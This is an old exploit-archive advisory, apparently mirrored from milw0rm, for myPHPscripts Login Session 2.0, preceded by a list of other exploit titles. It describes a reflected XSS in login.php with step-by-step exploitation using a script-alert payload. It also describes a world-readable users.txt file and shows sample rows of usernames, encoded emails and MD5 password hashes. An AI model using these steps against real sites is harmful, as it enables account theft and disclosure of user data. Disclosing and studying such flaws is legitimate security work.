
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
76 lines
2.4 KiB
Text
Executable file
76 lines
2.4 KiB
Text
Executable file
[START]
|
|
|
|
####################################################################################################################
|
|
[0x01] Informations:
|
|
|
|
Script : myPHPscripts Login Session 2.0
|
|
Download : http://www.hotscripts.com/jump.php?listing_id=69881&jump_type=1
|
|
Vulnerability : XSS / Database Disclosure
|
|
Author : Osirys
|
|
Contact : osirys[at]live[dot]it
|
|
Website : http://osirys.org
|
|
Notes : Proud to be Italian
|
|
Greets: : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX
|
|
|
|
|
|
####################################################################################################################
|
|
[0x02] Bug: [XSS]
|
|
######
|
|
|
|
Bugged file is: /[path]/login.php
|
|
|
|
[CODE]
|
|
|
|
if ($u_invalid == 1) { $errors[] = "User <strong>$user</strong> is invalid. 3-15 alphanumeric characters required."; }
|
|
|
|
[/CODE]
|
|
|
|
If the username that we typed in the register form is invalid, it will directly appear in the html code.
|
|
So we just have to put a js code, like an alert, and we will get a XSS.
|
|
|
|
[!] FIX: Filter or validate $user before printing it in html code.
|
|
|
|
|
|
[!] EXPLOIT:
|
|
1) Go at: /[path]/login.php?ls_register
|
|
2) In User form put a js code. (ex: <script>alert("XSS")</script>)
|
|
3) Field the other forms, and press register button.
|
|
|
|
####################################################################################################################
|
|
[0x03] Bug: [Database Disclosure]
|
|
######
|
|
|
|
Bugged file is: /[path]/login.php
|
|
|
|
[CODE]
|
|
|
|
if (empty($errors)) {
|
|
$newline = $records++;
|
|
$e_email = base64_encode($email);
|
|
$data = "$newline||$user||$e_email||$pass\n";
|
|
$fh = fopen($users, 'a') or die("Can't open user database.");
|
|
fwrite($fh, $data);
|
|
fclose($fh);
|
|
?>
|
|
|
|
[/CODE]
|
|
|
|
This cms uses a flat database, a .txt file where it stores usernames,passwords and emails of the registered
|
|
users.
|
|
|
|
[!] FIX: Don't use this kind of authentication :)
|
|
|
|
|
|
[!] EXPLOIT: /[path]/users.txt
|
|
|
|
Informations are printed in this way:
|
|
0||admin||b3NpcnlzQGxpdmUuaXQ=||6e1459df459890dfd8b4c3687c18abba
|
|
1||cazzone||bG9sQGxvbC5pdA==||b7dba5a1bc3605a87b59ac8147512c97
|
|
|
|
user_number||username||email(base64 encrypted)||password(md5 encrypted)
|
|
|
|
####################################################################################################################
|
|
|
|
[/END]
|
|
|
|
# milw0rm.com [2008-12-19]
|